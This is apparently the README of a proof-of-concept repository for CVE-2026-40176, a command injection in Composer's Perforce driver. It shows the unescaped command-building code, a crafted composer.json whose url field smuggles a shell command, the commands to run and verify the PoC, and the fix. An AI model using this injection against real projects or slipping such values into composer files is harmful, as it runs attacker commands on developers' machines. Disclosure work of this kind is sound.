
Proof-of-concept for CVE-2026-40176, an OS command injection in Composer's Perforce driver allowing remote code execution via crafted composer.json.
This repository contains a Proof of Concept (PoC) for CVE-2026-40176, a critical OS Command Injection vulnerability discovered in Composer's Perforce VCS driver (versions prior to 2.2.27 and 2.9.6).
The vulnerability exists in the Perforce::generateP4Command() method. Due to insufficient sanitization of repository configuration parameters (such as url, p4user, or client) when constructing shell commands, an attacker who controls a composer.json file can execute arbitrary commands on the victim's system when composer install or composer update is executed.
Discovered by: saku0512 ()
This project is for educational and ethical security testing purposes only.
The author is not responsible for any misuse, damage, or illegal activities caused by this tool. Unauthorized access to computer systems is illegal. By using this software, you agree to use it only in environments where you have explicit permission to conduct security testing.
The generateP4Command() method in src/Composer/Util/Perforce.php builds a shell command by directly concatenating strings from the repository configuration:
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // Unescaped
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // Unescaped
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // Unescaped
If these fields contain shell metacharacters (e.g., ;, &, |), they are interpreted by the system shell, leading to command injection.
Ensure you have PHP installed. This PoC simulates the vulnerable logic within Composer.
# Check PHP version
php -v
An attacker would craft a composer.json like this:
{
"repositories": [
{
"type": "perforce",
"url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
"depot": "depot"
}
],
"require": {
"some/package": "dev-master"
}
}
Run the provided poc.php script, which reproduces the internal command generation and execution logic of the vulnerable Composer versions.
# Run the PoC
php poc.php
Verify that the command was executed successfully by checking for the existence of the file created by the payload:
ls -l /tmp/pwned_rce_confirmed
If the file exists, the RCE is confirmed.
Update Composer to the latest version immediately:
composer self-update
The fix involves wrapping all user-supplied arguments with ProcessExecutor::escape() to prevent shell interpretation.